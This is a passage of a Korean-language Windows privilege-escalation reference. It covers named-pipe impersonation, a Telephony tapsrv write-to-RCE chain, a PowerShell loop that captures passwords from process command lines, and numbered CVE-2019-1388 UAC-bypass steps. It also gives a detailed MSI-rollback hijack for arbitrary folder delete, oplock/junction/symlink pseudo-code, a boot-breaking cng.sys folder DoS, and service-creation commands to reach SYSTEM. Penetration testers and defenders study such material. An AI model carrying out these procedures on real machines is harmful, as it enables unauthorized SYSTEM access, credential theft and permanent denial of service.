ํด๋ผ์ด์ธํธ๊ฐ ํ์ดํ๋ฅผ ํตํด ๋ฐ์ดํฐ๋ฅผ ์ ์กํ๋ฉด, ํ์ดํ๋ฅผ ์ค์ ํ server๋ ํ์ํ SeImpersonate ๊ถํ์ด ์๋ค๋ฉด client์ identity๋ฅผ takeover(๊ฐ์ ธ์ฌ) ์ ์๋ค. ๋น์ ์ด ํ๋ด๋ผ ์ ์๋ ํ์ดํ๋ฅผ ํตํด ํต์ ํ๋ privileged process๋ฅผ ์๋ณํ๋ฉด, ๋น์ ์ด ๋ง๋ ํ์ดํ์ ์ํธ์์ฉํ ๋ ๊ทธ ํ๋ก์ธ์ค์ identity๋ฅผ ์ฑํํ์ฌ ๋ ๋์ ๊ถํ์ ์ป์ ๊ธฐํ๋ฅผ ์ ๊ณตํ๋ค. ์ด๋ฌํ ๊ณต๊ฒฉ์ ์คํํ๋ ๋ฐฉ๋ฒ์ ๋ํ ์ง์นจ์ here์ here์์ ํ์ธํ ์ ์๋ค.
๋ํ ๋ค์ ๋๊ตฌ๋ burp์ ๊ฐ์ ํด๋ก named pipe ํต์ ์ ๊ฐ๋ก์ฑ ์ ์๊ฒ ํด์ค๋ค: https://github.com/gabriel-sztejnworcel/pipe-intercept ๊ทธ๋ฆฌ๊ณ ์ด ๋๊ตฌ๋ privescs๋ฅผ ์ฐพ๊ธฐ ์ํด ๋ชจ๋ ํ์ดํ๋ฅผ ๋์ดํ๊ณ ๋ณผ ์ ์๊ฒ ํด์ค๋ค: https://github.com/cyberark/PipeViewer
Telephony tapsrv remote DWORD write to RCE
Telephony ์๋น์ค(TapiSrv)์ server ๋ชจ๋๋ \\pipe\\tapsrv (MS-TRP)๋ฅผ ๋
ธ์ถํ๋ค. ์๊ฒฉ ์ธ์ฆ๋ ํด๋ผ์ด์ธํธ๋ mailslot ๊ธฐ๋ฐ ๋น๋๊ธฐ ์ด๋ฒคํธ ๊ฒฝ๋ก๋ฅผ ์
์ฉํ์ฌ ClientAttach๋ฅผ NETWORK SERVICE๊ฐ ์ฐ๊ธฐ ๊ฐ๋ฅํ ๊ธฐ์กด ํ์ผ์ ๋ํ ์์์ 4๋ฐ์ดํธ ์ฐ๊ธฐ๋ก ๋ฐ๊พธ๊ณ , ์ดํ Telephony admin ๊ถํ์ ์ป์ด ์๋น์ค๋ก์ ์์์ DLL์ ๋ก๋ํ ์ ์๋ค. ์ ์ฒด ํ๋ฆ:
ClientAttach์์pszDomainUser๋ฅผ ์ฐ๊ธฐ ๊ฐ๋ฅํ ๊ธฐ์กด ๊ฒฝ๋ก๋ก ์ค์ โ ์๋น์ค๋CreateFileW(..., OPEN_EXISTING)๋ก ์ด๋ฅผ ์ด๊ณ ๋น๋๊ธฐ ์ด๋ฒคํธ ์ฐ๊ธฐ์ ์ฌ์ฉํ๋ค.- ๊ฐ ์ด๋ฒคํธ๋
Initialize์์ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋InitContext๋ฅผ ํด๋น ํธ๋ค์ ์ด๋ค.LRegisterRequestRecipient(Req_Func 61)๋ก ๋ผ์ธ ์ฑ์ ๋ฑ๋กํ๊ณ ,TRequestMakeCall(Req_Func 121)์ ํธ๋ฆฌ๊ฑฐํ ๋คGetAsyncEvents(Req_Func 0)๋ก ๊ฐ์ ธ์ค๊ณ , ๊ทธ ๋ค์ unregister/shutdown ํ์ฌ ๊ฒฐ์ ๋ก ์ ์ฐ๊ธฐ๋ฅผ ๋ฐ๋ณตํ๋ค. C:\Windows\TAPI\tsec.ini์[TapiAdministrators]์ ์์ ์ ์ถ๊ฐํ๊ณ ์ฌ์ฐ๊ฒฐํ ๋ค์ ์์์ DLL ๊ฒฝ๋ก๋กGetUIDllName์ ํธ์ถํ์ฌTSPI_providerUIIdentify๋ฅผNETWORK SERVICE๋ก ์คํํ๋ค.
๋ ์์ธํ ๋ด์ฉ:
Telephony Tapsrv Arbitrary Dword Write To Rce
Misc
File Extensions that could execute stuff in Windows
ํ์ด์ง๋ฅผ ํ์ธํด๋ณด์ธ์: https://filesec.io/
Monitoring Command Lines for passwords
์ฌ์ฉ์ ๊ถํ์ผ๋ก shell์ ์ป์์ ๋, scheduled tasks๋ ๋ค๋ฅธ ํ๋ก์ธ์ค๋ค์ด ์คํ๋๋ฉฐ pass credentials on the command line ํ๋ ๊ฒฝ์ฐ๊ฐ ์์ ์ ์๋ค. ์๋ ์คํฌ๋ฆฝํธ๋ ํ๋ก์ธ์ค์ command lines๋ฅผ 2์ด๋ง๋ค ์บก์ฒํ๊ณ ํ์ฌ ์ํ๋ฅผ ์ด์ ์ํ์ ๋น๊ตํ์ฌ ๋ณ๊ฒฝ๋ถ๋ง ์ถ๋ ฅํ๋ค.
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
Stealing passwords from processes
From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
๊ทธ๋ํฝ ์ธํฐํ์ด์ค์ ์ ๊ทผํ ์ ์๊ณ (via console or RDP) UAC๊ฐ ํ์ฑํ๋์ด ์๋ ๊ฒฝ์ฐ, ์ผ๋ถ Microsoft Windows ๋ฒ์ ์์๋ ๊ถํ์ด ์๋ ์ฌ์ฉ์๋ก๋ถํฐ ํฐ๋ฏธ๋์ด๋ โNT\AUTHORITY SYSTEMโ๊ณผ ๊ฐ์ ๋ค๋ฅธ ํ๋ก์ธ์ค๋ฅผ ์คํํ ์ ์์ต๋๋ค.
์ด๋ก ์ธํด ๋์ผํ ์ทจ์ฝ์ ์ผ๋ก ๊ถํ ์์น๊ณผ UAC ์ฐํ๊ฐ ๋์์ ๊ฐ๋ฅํด์ง๋๋ค. ๋ํ ์ถ๊ฐ๋ก ์๋ฌด๊ฒ๋ ์ค์นํ ํ์๊ฐ ์์ผ๋ฉฐ, ํ๋ก์ธ์ค ์ค ์ฌ์ฉ๋๋ ๋ฐ์ด๋๋ฆฌ๋ Microsoft์์ ์๋ช ํ๊ณ ๋ฐํํ ๊ฒ์ ๋๋ค.
์ํฅ์ ๋ฐ๋ ์์คํ ์ค ์ผ๋ถ๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
์ด ์ทจ์ฝ์ ์ ์ ์ฉํ๋ ค๋ฉด ๋ค์ ๋จ๊ณ๋ฅผ ์ํํด์ผ ํฉ๋๋ค:
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
๊ด๋ฆฌ์ Medium์์ High ๋ฌด๊ฒฐ์ฑ ์์ค์ผ๋ก / UAC Bypass
์ด๊ฑธ ์ฝ์ด Integrity Levels์ ๋ํด ๋ฐฐ์ฐ์ธ์:
๊ทธ๋ค์ UAC์ UAC bypasses์ ๋ํด ๋ฐฐ์ฐ๋ ค๋ฉด ์ด๊ฒ์ ์ฝ์ผ์ธ์:
Arbitrary Folder Delete/Move/Rename์์ SYSTEM EoP๋ก ๊ฐ๊ธฐ
์ด ๊ธฐ์ ์ ์ด ๋ธ๋ก๊ทธ ํฌ์คํธ์ ์ค๋ช ๋์ด ์์ผ๋ฉฐ ์ต์คํ๋ก์ ์ฝ๋๋ ์ฌ๊ธฐ์์ ํ์ธํ ์ ์์ต๋๋ค.
๊ณต๊ฒฉ์ ๊ธฐ๋ณธ์ ์ผ๋ก Windows Installer์ rollback ๊ธฐ๋ฅ์ ๋จ์ฉํด ์ ์ ํ์ผ์ ์ ๊ฑฐ/๊ต์ฒดํ๊ณ ์ธ์ธ์คํจ ๊ณผ์ ์ค์ ์
์ฑ ํ์ผ๋ก ๋ฐ๊พธ๋ ๋ฐฉ์์
๋๋ค. ์ด๋ฅผ ์ํด ๊ณต๊ฒฉ์๋ C:\Config.Msi ํด๋๋ฅผ ํ์ด์ฌํฌํ๊ธฐ ์ํ ์
์ฑ MSI installer๋ฅผ ๋ง๋ค์ด์ผ ํ๊ณ , ์ดํ ๋ค๋ฅธ MSI ํจํค์ง์ ์ธ์ธ์คํจ ์ Windows Installer๊ฐ rollback ํ์ผ์ ์ ์ฅํ ๋ ๊ทธ ํ์ผ๋ค์ด ์
์ฑ ํ์ด๋ก๋๋ฅผ ํฌํจํ๋๋ก ์กฐ์๋ฉ๋๋ค.
์์ฝ๋ ๊ธฐ๋ฒ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- Stage 1 โ Hijack ์ค๋น (
C:\Config.Msi๋ฅผ ๋น์๋ )
-
Step 1: MSI ์ค์น
-
TARGETDIR๊ฐ์ ์ฐ๊ธฐ ๊ฐ๋ฅํ ํด๋์ ๋ฌดํดํ ํ์ผ(์:dummy.txt)์ ์ค์นํ๋.msi๋ฅผ ๋ง๋ญ๋๋ค. -
์ธ์คํจ๋ฌ๋ฅผ **โUAC Compliantโ**๋ก ํ์ํ์ฌ ๋น๊ด๋ฆฌ์ ์ฌ์ฉ์๋ ์คํํ ์ ์๊ฒ ํฉ๋๋ค.
-
์ค์น ํ ํ์ผ์ ๋ํ handle์ ์ด์ด ๋ก๋๋ค.
-
Step 2: ์ธ์ธ์คํจ ์์
-
๋์ผํ
.msi๋ฅผ ์ธ์ธ์คํจํฉ๋๋ค. -
์ธ์ธ์คํจ ๊ณผ์ ์์ ํ์ผ๋ค์ด
C:\Config.Msi๋ก ์ด๋๋๊ณ.rbfํ์ผ๋ก ์ด๋ฆ์ด ๋ฐ๋๋๋ค(rollback ๋ฐฑ์ ). -
ํ์ผ์ด
C:\Config.Msi\<random>.rbf๊ฐ ๋์๋์ง ๊ฐ์งํ๊ธฐ ์ํดGetFinalPathNameByHandle๋ก ์ด๋ ค ์๋ ํ์ผ ํธ๋ค์ ํด๋งํฉ๋๋ค. -
Step 3: ์ปค์คํ ๋๊ธฐํ
-
.msi์๋ ๋ค์์ ์ํํ๋ **์ปค์คํ ์ธ์ธ์คํจ ์ก์ (SyncOnRbfWritten)**์ด ํฌํจ๋์ด ์์ต๋๋ค: -
.rbf๊ฐ ์์ฑ๋๋ฉด ์ ํธ๋ฅผ ๋ณด๋ ๋๋ค. -
์ธ์ธ์คํจ์ ๊ณ์ํ๊ธฐ ์ ์ ๋ค๋ฅธ ์ด๋ฒคํธ๋ฅผ ๋๊ธฐํฉ๋๋ค.
-
Step 4:
.rbf์ญ์ ์ฐจ๋จ -
์ ํธ๋ฅผ ๋ฐ์ผ๋ฉด
FILE_SHARE_DELETE์์ด.rbfํ์ผ์ ์คํํ์ฌ ์ญ์ ๊ฐ ๋์ง ์๊ฒ ํฉ๋๋ค. -
๊ทธ๋ฐ ๋ค์ ์ธ์ธ์คํจ์ด ์๋ฃ๋ ์ ์๋๋ก ์ ํธ๋ฅผ ๋๋๋ ค ์ค๋๋ค.
-
Windows Installer๋
.rbf๋ฅผ ์ญ์ ํ์ง ๋ชปํ๊ณ , ๋ชจ๋ ๋ด์ฉ์ ์ญ์ ํ ์ ์๊ธฐ ๋๋ฌธ์C:\Config.Msi๊ฐ ์ ๊ฑฐ๋์ง ์์ต๋๋ค. -
Step 5:
.rbf๋ฅผ ์๋์ผ๋ก ์ญ์ -
๊ณต๊ฒฉ์๋
.rbfํ์ผ์ ์๋์ผ๋ก ์ญ์ ํฉ๋๋ค. -
์ด์
C:\Config.Msi๋ ๋น์ด์์ด ํ์ด์ฌํฌํ ์ค๋น๊ฐ ๋ฉ๋๋ค.
์ด ์์ ์์, SYSTEM ๋ ๋ฒจ์ arbitrary folder delete ์ทจ์ฝ์ ์ ํธ๋ฆฌ๊ฑฐํ์ฌ
C:\Config.Msi๋ฅผ ์ญ์ ํ์ธ์.
- Stage 2 โ Rollback ์คํฌ๋ฆฝํธ๋ฅผ ์ ์ฑ์ผ๋ก ๊ต์ฒด
-
Step 6: ์ฝํ ACL๋ก
C:\Config.Msi์ฌ์์ฑ -
์ง์
C:\Config.Msiํด๋๋ฅผ ๋ค์ ๋ง๋ญ๋๋ค. -
์ฝํ DACL(์: Everyone:F)์ ์ค์ ํ๊ณ
WRITE_DAC๋ก ํธ๋ค์ ์ด์ด ๋ก๋๋ค. -
Step 7: ๋ค๋ฅธ ์ค์น ์คํ
-
๋ค์
.msi๋ฅผ ์ค์นํ๋: -
TARGETDIR: ์ฐ๊ธฐ ๊ฐ๋ฅํ ์์น. -
ERROROUT: ๊ฐ์ ์คํจ๋ฅผ ์ ๋ฐํ๋ ๋ณ์. -
์ด ์ค์น๋ ๋ค์ rollback์ ํธ๋ฆฌ๊ฑฐํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค(์ด๋
.rbs์.rbf๋ฅผ ์ฝ์). -
Step 8:
.rbs๊ฐ์ -
ReadDirectoryChangesW๋ฅผ ์ฌ์ฉํดC:\Config.Msi๋ฅผ ๋ชจ๋ํฐ๋งํ์ฌ ์.rbs๊ฐ ๋ํ๋ ๋๊น์ง ๊ธฐ๋ค๋ฆฝ๋๋ค. -
๊ทธ ํ์ผ๋ช ์ ์บก์ฒํฉ๋๋ค.
-
Step 9: Rollback ์ ์ ๋๊ธฐํ
-
.msi์๋ ๋ค์์ ์ํํ๋ **์ปค์คํ ์ธ์คํจ ์ก์ (SyncBeforeRollback)**์ด ํฌํจ๋์ด ์์ต๋๋ค: -
.rbs๊ฐ ์์ฑ๋๋ฉด ์ด๋ฒคํธ๋ฅผ ์ ํธํฉ๋๋ค. -
๊ทธ๋ฐ ๋ค์ ๊ณ์ํ๊ธฐ ์ ์ ๋๊ธฐํฉ๋๋ค.
-
Step 10: ์ฝํ ACL ๋ค์ ์ ์ฉ
-
.rbs ์์ฑ๋จ์ด๋ฒคํธ๋ฅผ ๋ฐ์ ํ: -
Windows Installer๋
C:\Config.Msi์ ๊ฐํ ACL์ ๋ค์ ์ ์ฉํฉ๋๋ค. -
ํ์ง๋ง ๋น์ ์ ์ฌ์ ํ
WRITE_DACํธ๋ค์ ๊ฐ์ง๊ณ ์์ผ๋ฏ๋ก ์ฝํ ACL์ ๋ค์ ์ ์ฉํ ์ ์์ต๋๋ค.
ACL์ ํธ๋ค ์คํ ์์๋ง ์ ์ฉ๋๋ฏ๋ก, ์ฌ์ ํ ํด๋์ ์ธ ์ ์์ต๋๋ค.
-
Step 11: ๊ฐ์ง
.rbs์.rbf๋ฐฐ์น -
.rbsํ์ผ์ ๋ฎ์ด์จ์ Windows์ ๋ค์์ ์ง์ํ๋ ๊ฐ์ง rollback ์คํฌ๋ฆฝํธ๋ฅผ ๋ฃ์ต๋๋ค: -
๋น์ ์
.rbfํ์ผ(์ ์ฑ DLL)์ ํน๊ถ ์๋ ์์น(์:C:\Program Files\Common Files\microsoft shared\ink\HID.DLL)์ผ๋ก ๋ณต์ํ๋๋ก. -
SYSTEM ๋ ๋ฒจ ํ์ด๋ก๋ DLL์ ํฌํจํ ๊ฐ์ง
.rbf๋ฅผ ๋ฐฐ์นํฉ๋๋ค. -
Step 12: Rollback ํธ๋ฆฌ๊ฑฐ
-
๋๊ธฐํ ์ด๋ฒคํธ๋ฅผ ์ ํธํ์ฌ ์ธ์คํจ๋ฌ๊ฐ ์ฌ๊ฐ๋๋๋ก ํฉ๋๋ค.
-
ErrorOut๋ผ๋ type 19 custom action์ด ์ค์น๋ฅผ ์๋์ ์ผ๋ก ์๋ ค์ง ์์ ์์ ์คํจํ๊ฒ ์ค์ ๋์ด ์์ต๋๋ค. -
์ด๋ก ์ธํด rollback์ด ์์๋ฉ๋๋ค.
-
Step 13: SYSTEM์ด DLL์ ์ค์น
-
Windows Installer๋:
-
๋น์ ์ ์ ์ฑ
.rbs๋ฅผ ์ฝ๊ณ , -
ํ๊น ์์น์ ๋น์ ์
.rbfDLL์ ๋ณต์ฌํฉ๋๋ค. -
์ด์ SYSTEM์ด ๋ก๋ํ๋ ๊ฒฝ๋ก์ ์ ์ฑ DLL์ด ์กด์ฌํ๊ฒ ๋ฉ๋๋ค.
-
๋ง์ง๋ง ๋จ๊ณ: SYSTEM ์ฝ๋ ์คํ
-
osk.exe์ ๊ฐ์ ์ ๋ขฐ๋ auto-elevated binary๋ฅผ ์คํํ์ฌ ํ์ด์ฌํฌํ DLL์ ๋ก๋ํ๊ฒ ํฉ๋๋ค. -
๋: ๋น์ ์ ์ฝ๋๋ SYSTEM ๊ถํ์ผ๋ก ์คํ๋ฉ๋๋ค.
Arbitrary File Delete/Move/Rename์์ SYSTEM EoP๋ก ๊ฐ๊ธฐ
์ฃผ๋ MSI rollback ๊ธฐ๋ฒ(์์ ๋ฐฉ๋ฒ)์ ์ ์ฒด ํด๋(C:\Config.Msi ๋ฑ)๋ฅผ ์ญ์ ํ ์ ์๋ค๊ณ ๊ฐ์ ํฉ๋๋ค. ํ์ง๋ง ์ทจ์ฝ์ ์ด ์์์ ํ์ผ ์ญ์ ๋ง ํ์ฉํ๋ค๋ฉด ์ด๋ป๊ฒ ํ ๊น์?
NTFS ๋ด๋ถ ๊ตฌ์กฐ๋ฅผ ์ ์ฉํ ์ ์์ต๋๋ค: ๋ชจ๋ ํด๋๋ ๋ค์๊ณผ ๊ฐ์ ์จ๊ฒจ์ง ๋์ฒด ๋ฐ์ดํฐ ์คํธ๋ฆผ์ ๊ฐ์ง๊ณ ์์ต๋๋ค:
C:\SomeFolder::$INDEX_ALLOCATION
์ด ์คํธ๋ฆผ์ ํด๋์ ์ธ๋ฑ์ค ๋ฉํ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํฉ๋๋ค.
๋ฐ๋ผ์ ํด๋์ ::$INDEX_ALLOCATION ์คํธ๋ฆผ์ ์ญ์ ํ๋ฉด, NTFS๋ ํ์ผ์์คํ
์์ ํด๋น ํด๋ ์ ์ฒด๋ฅผ ์ ๊ฑฐํฉ๋๋ค.
์ด ์์ ์ ๋ค์๊ณผ ๊ฐ์ ํ์ค ํ์ผ ์ญ์ API๋ฅผ ์ฌ์ฉํ์ฌ ์ํํ ์ ์์ต๋๋ค:
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
ํ์ผ ์ญ์ API๋ฅผ ํธ์ถํ๊ณ ์์์๋ ๋ถ๊ตฌํ๊ณ , ๊ทธ๊ฒ์ ํด๋ ์์ฒด๋ฅผ ์ญ์ ํฉ๋๋ค.
ํด๋ ๋ด์ฉ ์ญ์ ์์ SYSTEM EoP๋ก
๋ง์ฝ ์ฌ๋ฌ๋ถ์ ํ๋ฆฌ๋ฏธํฐ๋ธ๊ฐ ์์์ ํ์ผ/ํด๋๋ฅผ ์ญ์ ํ ์ ์์ง๋ง, ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ํด๋์ ๋ด์ฉ ์ญ์ ๋ฅผ ํ์ฉํ๋ค๋ฉด?
- Step 1: ๋ฏธ๋ผ ํด๋์ ํ์ผ ์ค์
- ์์ฑ:
C:\temp\folder1 - ๊ทธ ์์:
C:\temp\folder1\file1.txt
- Step 2:
file1.txt์ oplock ์ค์
- ๊ถํ ์๋ ํ๋ก์ธ์ค๊ฐ
file1.txt๋ฅผ ์ญ์ ํ๋ ค๊ณ ์๋ํ ๋, oplock์ ์คํ์ ์ผ์ ์ค๋จํฉ๋๋ค.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
- Step 3: SYSTEM ํ๋ก์ธ์ค ํธ๋ฆฌ๊ฑฐ (์:
SilentCleanup)
- ์ด ํ๋ก์ธ์ค๋ ํด๋(์:
%TEMP%)๋ฅผ ์ค์บํ๊ณ ๊ทธ ๋ด์ฉ๋ฌผ์ ์ญ์ ํ๋ ค๊ณ ์๋ํฉ๋๋ค. file1.txt์ ๋๋ฌํ๋ฉด oplock triggers ํ๊ณ ์ ์ด๊ฐ ๋น์ ์ ์ฝ๋ฐฑ์ผ๋ก ๋์ด๊ฐ๋๋ค.
- Step 4: oplock callback ๋ด๋ถ โ ์ญ์ ๋ฅผ ๋ฆฌ๋ค์ด๋ ํธ
-
์ต์ A:
file1.txt๋ฅผ ๋ค๋ฅธ ๊ณณ์ผ๋ก ์ด๋ -
์ด๋ ๊ฒ ํ๋ฉด oplock์ ๊นจ์ง ์๊ณ
folder1์ ๋น์๋๋ค. -
file1.txt๋ฅผ ์ง์ ์ญ์ ํ์ง ๋ง์ธ์ โ ๊ทธ๋ฌ๋ฉด oplock์ด ์กฐ๊ธฐ์ ํด์ ๋ฉ๋๋ค. -
์ต์ B:
folder1์ junction์ผ๋ก ๋ณํ:
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
- ์ต์
C:
\RPC Control์ symlink๋ฅผ ์์ฑ:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
์ด๊ฒ์ ํด๋ ๋ฉํ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ๋ NTFS ๋ด๋ถ ์คํธ๋ฆผ์ ๊ฒจ๋ฅํฉ๋๋ค โ ์ด๋ฅผ ์ญ์ ํ๋ฉด ํด๋ ์์ฒด๊ฐ ์ญ์ ๋ฉ๋๋ค.
- 5๋จ๊ณ: oplock ํด์
- SYSTEM ํ๋ก์ธ์ค๋ ๊ณ์ ์งํ๋์ด
file1.txt๋ฅผ ์ญ์ ํ๋ ค๊ณ ์๋ํฉ๋๋ค. - ํ์ง๋ง ์ด์ junction + symlink ๋๋ฌธ์ ์ค์ ๋ก ์ญ์ ํ๋ ๋์์:
C:\Config.Msi::$INDEX_ALLOCATION
๊ฒฐ๊ณผ: C:\Config.Msi๋ SYSTEM์ ์ํด ์ญ์ ๋ฉ๋๋ค.
Arbitrary Folder Create์์ Permanent DoS๋ก
primitive๋ฅผ ์ ์ฉํ์ฌ SYSTEM/admin๋ก ์์ ํด๋๋ฅผ ์์ฑํ๋ ๊ธฐ๋ฅ์ ์ด์ฉํ์ธ์ โ ํ์ผ์ ์ธ ์ ์๋๋ผ๋ ๋๋ ์ฝํ ๊ถํ์ ์ค์ ํ ์ ์๋๋ผ๋.
์๋ฅผ ๋ค์ด critical Windows driver์ ์ด๋ฆ์ ๊ฐ์ง folder(ํ์ผ์ด ์๋)๋ฅผ ์์ฑํ์ธ์:
C:\Windows\System32\cng.sys
- ์ด ๊ฒฝ๋ก๋ ์ผ๋ฐ์ ์ผ๋ก
cng.sys์ปค๋ ๋ชจ๋ ๋๋ผ์ด๋ฒ์ ํด๋นํฉ๋๋ค. - ๋ง์ฝ ํด๋น ๊ฒฝ๋ก๋ฅผ ํด๋๋ก ๋ฏธ๋ฆฌ ์์ฑ(pre-create) ํด๋๋ฉด, Windows๋ ๋ถํ ์ ์ค์ ๋๋ผ์ด๋ฒ๋ฅผ ๋ก๋ํ์ง ๋ชปํฉ๋๋ค.
- ๊ทธ๋ฌ๋ฉด, Windows๋ ๋ถํ
์ค์
cng.sys๋ฅผ ๋ก๋ํ๋ ค ํฉ๋๋ค. - ํด๋๋ฅผ ๋ฐ๊ฒฌํ๋ฉด, ์ค์ ๋๋ผ์ด๋ฒ๋ฅผ ์ฐพ์ง ๋ชปํ๊ณ , ํฌ๋์ํ๊ฑฐ๋ ๋ถํ ์ด ์ค๋จ๋ฉ๋๋ค.
- ์ธ๋ถ ๊ฐ์ (์: ๋ถํ ์๋ฆฌ๋ ๋์คํฌ ์ ๊ทผ) ์์ด๋ ๋์ฒด ๊ฒฝ๋ก(fallback)๊ฐ ์๊ณ , ๋ณต๊ตฌ(recovery)๊ฐ ๋ถ๊ฐ๋ฅํฉ๋๋ค.
High Integrity์์ SYSTEM์ผ๋ก
์ ์๋น์ค
์ด๋ฏธ High Integrity ํ๋ก์ธ์ค์์ ์คํ ์ค์ด๋ผ๋ฉด, SYSTEM์ผ๋ก ๊ฐ๋ ๊ฒฝ๋ก๋ ๋จ์ํ ์ ์๋น์ค๋ฅผ ์์ฑํ๊ณ ์คํํ๋ ๊ฒ๋ง์ผ๋ก ์ฝ๊ฒ ํ๋ณดํ ์ ์์ต๋๋ค:
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
Tip
์๋น์ค ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ง๋ค ๋ ์ ํจํ ์๋น์ค์ธ์ง, ๋๋ ๋ฐ์ด๋๋ฆฌ๊ฐ ํ์ํ ๋์์ ๋น ๋ฅด๊ฒ ์ํํ๋์ง ํ์ธํ์ธ์. ์ ํจํ ์๋น์ค๊ฐ ์๋๋ฉด 20์ด ํ์ ์ข ๋ฃ๋ฉ๋๋ค.
AlwaysInstallElevated
High Integrity ํ๋ก์ธ์ค์์ AlwaysInstallElevated ๋ ์ง์คํธ๋ฆฌ ํญ๋ชฉ์ ํ์ฑํํ๊ณ .msi ๋ํผ๋ฅผ ์ฌ์ฉํด reverse shell์ ์ค์นํด ๋ณผ ์ ์์ต๋๋ค.
More information about the registry keys involved and how to install a .msi package here.
High + SeImpersonate privilege to System
์ฝ๋๋ find the code here.
From SeDebug + SeImpersonate to Full Token privileges
ํด๋น token ๊ถํ์ ๋ณด์ ํ๊ณ ์๋ค๋ฉด(๋๊ฐ ์ด๋ฏธ High Integrity ํ๋ก์ธ์ค์์ ๋ฐ๊ฒฌ๋จ), SeDebug ๊ถํ์ผ๋ก ๊ฑฐ์ ๋ชจ๋ ํ๋ก์ธ์ค(๋ณดํธ๋ ํ๋ก์ธ์ค ์ ์ธ)๋ฅผ ์ด๊ณ , ํ๋ก์ธ์ค์ token์ ๋ณต์ฌํ์ฌ ํด๋น token์ผ๋ก ์์์ ํ๋ก์ธ์ค๋ฅผ ์์ฑํ ์ ์์ต๋๋ค.
์ด ๊ธฐ๋ฒ์ ์ผ๋ฐ์ ์ผ๋ก ๋ชจ๋ token ๊ถํ์ ๊ฐ์ง SYSTEM์ผ๋ก ์คํ ์ค์ธ ํ๋ก์ธ์ค๋ฅผ ์ ํํฉ๋๋ค(์, ๋ชจ๋ token ๊ถํ์ด ์๋ SYSTEM ํ๋ก์ธ์ค๋ ์ฐพ์ ์ ์์ต๋๋ค).
You can find an example of code executing the proposed technique here.
Named Pipes
์ด ๊ธฐ๋ฒ์ meterpreter๊ฐ getsystem์ผ๋ก ๊ถํ์ ์์นํ ๋ ์ฌ์ฉํฉ๋๋ค. ๊ธฐ๋ฒ์ ํ์ดํ๋ฅผ ์์ฑํ ๋ค ๊ทธ ํ์ดํ์ ์ฐ๋๋ก ์๋น์ค๋ฅผ ์์ฑ/์
์ฉํ๋ ๊ฒ์ผ๋ก ๊ตฌ์ฑ๋ฉ๋๋ค. ๊ทธ๋ฐ ๋ค์ ํ์ดํ๋ฅผ ์์ฑํ ์๋ฒ๋ SeImpersonate ๊ถํ์ ์ฌ์ฉํด ํ์ดํ ํด๋ผ์ด์ธํธ(์๋น์ค)์ token์ ๊ฐ๋ฉดํ(impersonate) ํ์ฌ SYSTEM ๊ถํ์ ์ป์ ์ ์์ต๋๋ค.
If you want to learn more about name pipes you should read this.
If you want to read an example of how to go from high integrity to System using name pipes you should read this.
Dll Hijacking
SYSTEM์ผ๋ก ์คํ๋๋ ํ๋ก์ธ์ค๊ฐ ๋ก๋ํ๋ dll์ hijackํ๋ ๋ฐ ์ฑ๊ณตํ๋ฉด ํด๋น ๊ถํ์ผ๋ก ์์์ ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค. ๋ฐ๋ผ์ Dll Hijacking์ ์ด๋ฌํ ๊ถํ ์์น์ ์ ์ฉํ๋ฉฐ, ํนํ high integrity ํ๋ก์ธ์ค์์๋ DLL์ ๋ก๋ํ๋ ํด๋์ ๋ํ write permissions๊ฐ ์๊ธฐ ๋๋ฌธ์ ํจ์ฌ ๋ ์ฝ๊ฒ ๋ฌ์ฑํ ์ ์์ต๋๋ค.
You can learn more about Dll hijacking here.
From Administrator or Network Service to System
- https://github.com/sailay1996/RpcSsImpersonator
- https://decoder.cloud/2020/05/04/from-network-service-to-system/
- https://github.com/decoder-it/NetworkServiceExploit
From LOCAL SERVICE or NETWORK SERVICE to full privs
์ฝ๊ธฐ: https://github.com/itm4n/FullPowers
์ถ๊ฐ ๋์๋ง
์ ์ฉํ ๋๊ตฌ
Windows ๋ก์ปฌ ๊ถํ ์์น ๋ฒกํฐ๋ฅผ ์ฐพ๊ธฐ ์ํ ์ต๊ณ ๋๊ตฌ: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) โ ๊ตฌ์ฑ ์ค๋ฅ ๋ฐ ๋ฏผ๊ฐํ ํ์ผ์ ๊ฒ์ฌํฉ๋๋ค (check here). Detected.
